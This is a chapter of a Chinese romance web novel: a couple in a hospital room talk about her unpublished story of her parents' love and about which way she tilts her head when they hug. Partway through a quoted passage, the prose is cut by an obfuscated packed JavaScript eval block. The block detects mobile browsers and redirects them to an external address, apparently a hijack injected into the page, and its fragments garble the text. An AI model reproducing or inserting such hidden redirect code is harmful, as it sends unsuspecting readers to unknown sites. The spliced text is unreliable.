病房里弥漫着淡淡的消毒水气息，午后的阳光透过窗帘的间隙，在地上投下点点光影。文清指尖在屏幕上轻轻划过，然后缓缓放下了手机。他卸力般将身体靠向冰凉的床头，发出一声轻响，目光投向输液瓶，轻叹道：“关于你父母爱情的部分……是不是没有写完整？好像，少了点什么？”
晓枫的心轻轻一跳，像被羽毛拂过，“看得出来？”她的声音里带着一丝试探和期待。
文清转过头，那双因疲惫略显黯淡的眼睛看着她，没有多余的话语，只是沉静地点了点头。
一种被窥见隐秘心思的羞怯与找到知音的雀跃交织着。晓枫像献宝似的拿出手机，指尖在屏幕上快速翻找。病房里很安静，只有手机信息的嘟噜声。“喏，我发给你了，这是《父母爱情故事》的原稿，我没完全发出去的那个版本。你……看看这个吧。”
文清眼神专注起来，再次拿起手机，原本倚靠在床头的身子也微微坐直，仿佛要进入另一个郑重其事的空间。病房里只剩下他指尖滑动屏幕时细微的摩擦声，以及窗外隐约传来的车流声。不到五万字的篇幅，对他而言并不算长。
时间在静默中流淌。终于，文清放下手机，指节无意识地敲击着机身侧面，似乎在斟酌词句。短暂的犹豫后，他才抬眼看向晓枫，语气里带着一种奇特的探寻和赧然：“你……对男人的心理真的很了解啊。”话音刚落，一抹淡淡的红晕悄然爬上他的耳根和脸颊。
晓枫的脸颊也跟着微微发烫，下意识地低下头，声音低得像是耳语：“所以我才没发出去……我怕，这完全是从我一个女性的视角出发的臆想。”
“你看这里，”文清似乎想证明什么，把手机递到晓枫眼前，指尖点着屏幕上的文字段落——“阳光如同一位技艺高超的雕刻家，将饶海怡的身影切割出硬朗的线条。饶海怡那强劲有力的手臂撑在发动机盖上，衬衫之下，肌肉的轮廓若隐若现，散发出男性独有的力量美感。”
“嗯，”晓枫点点头，试图解释那种视角下的感受，“这就是‘我’——一个女性的视角，会觉得这个画面充满张力……嗯，或者说，‘性张力’？”
“还有这里，”他继续往下划，“‘他潇洒地拍了拍手，手上的灰尘在阳光的映照下飞舞飘散’。”
“嗯？”晓枫有些不解其意。
“后面这个描写也是，”他没停，继续念道，“‘他双手随意地插在兜里，脚下的小石子成了他排解无聊的对象。他先是漫不经心地用脚轻轻踢着小石子，看着小石子在地上滚动一小段距离。走着走着，他的脚像是突然来了劲儿，猛地一记抽射，小石子便像一颗子弹般飞了出去，很快就消失得无影无踪。’”
“这些描写……有什么问题吗？”晓枫更加疑惑了。
文清似乎也在努力捕捉自己模糊的感受，轻轻摇头：“我就是觉得很有画面感。每一个动作都像在眼前活了起来。有点遗憾你没发这部分。其实，”他顿了顿，目光温和而坚定地看着晓枫，“你不用怀疑自己，人类的情感是相通的。你捕捉到的那些细节，很真实。”
“谢谢你的鼓励，”一股暖流划过心头，晓枫轻声回应，“后面有时间，我会试着继续写的。”
文清放下手机，手臂绕过晓枫的肩头，将她轻轻拢入怀中。熟悉的体温和气息瞬间将她包围，温热的气息拂过耳廓：“这段时间，辛苦你了……”声音里带着真切的疼惜和歉意。
晓枫把头埋在文清坚实的颈窝，用力摇了摇，话语脱口而出，“不会，只希望你能好起来。”
文清忽然轻轻推开晓枫的肩膀，与她拉开一点点距离，眼神温柔却带着一丝困惑：“你刚才说什么？”
晓枫猛地一怔，心脏像被一只无形的手攥紧——刚才拥抱时，她习惯性地右侧着头，脸颊贴着他左侧肩膀说话……而他，正是左耳完全失去了听力！
“……没什么。”晓枫再次摇头，把苦涩咽下，强扯出一个笑容。一个奇怪的问题却在心底悄然浮现：为什么每一次拥抱，我总是习惯性地右侧头，依偎在他的左肩？
文清并未察觉晓枫瞬间的思绪翻涌，注意力又回到了手机上，饶有兴趣地念着另一段：“‘下课铃像是一位病恹恹的歌者，因为故障，使得它的歌声不再流畅。那原本清脆的铃声此刻变得时有时无，刚传出几声铃铃的声响，就戛然而止，仿佛被一只无形的手突然捂住了嘴巴。紧接着又是一阵微弱的铃声挣扎着冒出来，在寂静的教学楼走廊里有气无力地回荡着，让等待下课的同学们的心也跟着七上八下。’”
他抬起头，眼中带着一丝发现珍宝的亮光，“这个就是语文老师说的侧面描写吧？用铃声的状态来写等下课的心情，真的很有意思！”
“是啊，”晓枫收敛心神，手指无意识地在手机屏幕上滑动，“上课的人……心思早就飞远了……大概就是这样的心情吧。”她含糊地应着，却在搜索引擎里飞快地输入着那个盘旋在心头的问题。
“就像你现在这样，”文清忽然轻笑出声，带着洞悉的了然，“心思不在我这里。”
晓枫猛地抬起头，像被抓包的孩子，连忙把手机翻转过来递给他：“才没有！我在搜索刚才那个拥抱姿势的问题呢！”
文清疑惑地接过手机，目光快速扫过屏幕上的文字解释。随着阅读，他脸上的疑惑慢慢加深，最终化为一声感慨的喃喃：“这……居然也有心理学依据啊？”
“是啊！”晓枫凑近他，指着屏幕上的关键段落，“你看，‘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399483|184327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
左脑控制右边身体，当积极的情绪出现时，左脑的反应会增加，导致右边身体的活动也增加。所以，当你的另一半越爱你时，他的左脑反应就越强烈，导致在拥抱接吻时头向右歪。’”
晓枫的声音带着一丝兴奋和羞涩，“还有这里：‘肯定性的感情出自右侧，否定性的感情则被认为多在左侧流露出来。’这说明，”晓枫抬起头，撞进他含笑的眼眸，声音轻得如同耳语，“我们……是真爱啊。”说完，脸上热度飙升，她再次不好意思地低下头。
文清看着晓枫的样子，胸腔震动，发出低沉而愉悦的笑声，“那看来，你以后得慢慢习惯左侧头了……或者，”他促狭地眨眨眼，“记得把悄悄话说给我右边的耳朵听……”
“别说这个！”晓枫连忙伸手捂住他的嘴，语气带着执拗的坚持和温柔的嗔怪，“会好起来的！一定能！”
文清温暖的手握住了晓枫捂在他唇上的手，将它们轻轻拉下来，包裹在自己掌心，然后另一只手轻轻拍着她的手背，一下，又一下，节奏沉稳而充满力量，仿佛无声的承诺和无尽的安慰，熨帖着她心底深处的担忧。
“对了，”文清像是想起了什么，眼中闪过一丝思索的光芒，“提一个小意见，行不行？”似乎有什么新的灵感掠过他的心头。
“好啊，你说。”晓枫挺直腰背，带着满脸的好奇，微微歪着头看他，像等待老师点评的学生。
“你塑造的那个‘姜文清’，”他斟酌着措辞，“感觉……太完美了，完全没有缺点？”
“我写的时候是想往‘大男子主义’方向靠的呀。”晓枫辩解道。
“大男子主义？”他挑眉，嘴角噙着一丝笑意，“这种‘大男子’，估计很多女生都想要吧？”
晓枫眼睛一亮，捕捉到他话里的意思：“你的意思是……‘爹系’？”
“爹系？”文清愣了一下，“这又是什么网络流行语？”
看着他茫然的样子，晓枫不禁笑起来，耐心解释道：“是啊，‘爹系男友’，指的就是像父亲一样成熟稳重、会照顾人、责任感爆棚的男朋友类型。是不是……也很有画面感？”
文清也跟着笑了起来，仿佛打开了新世界的大门。笑过之后，他的神情变得认真而柔和，身体微微前倾，目光专注地看着晓枫：“老婆，说真的，如果我在初见你时，真的就开始追求你……你觉得，结局会不会不一样？”
晓枫慢慢收敛脸上的笑容，望着他，时间仿佛在沉默中被拉长了几秒，她深吸了一口气，又缓缓吐出来，仿佛在想象可能发生的事情，最终清晰地回答：“现在就是最好的结局……”
“那……”文清转过头，他的声音里带上了一丝期待，“下辈子，我勇敢一点……”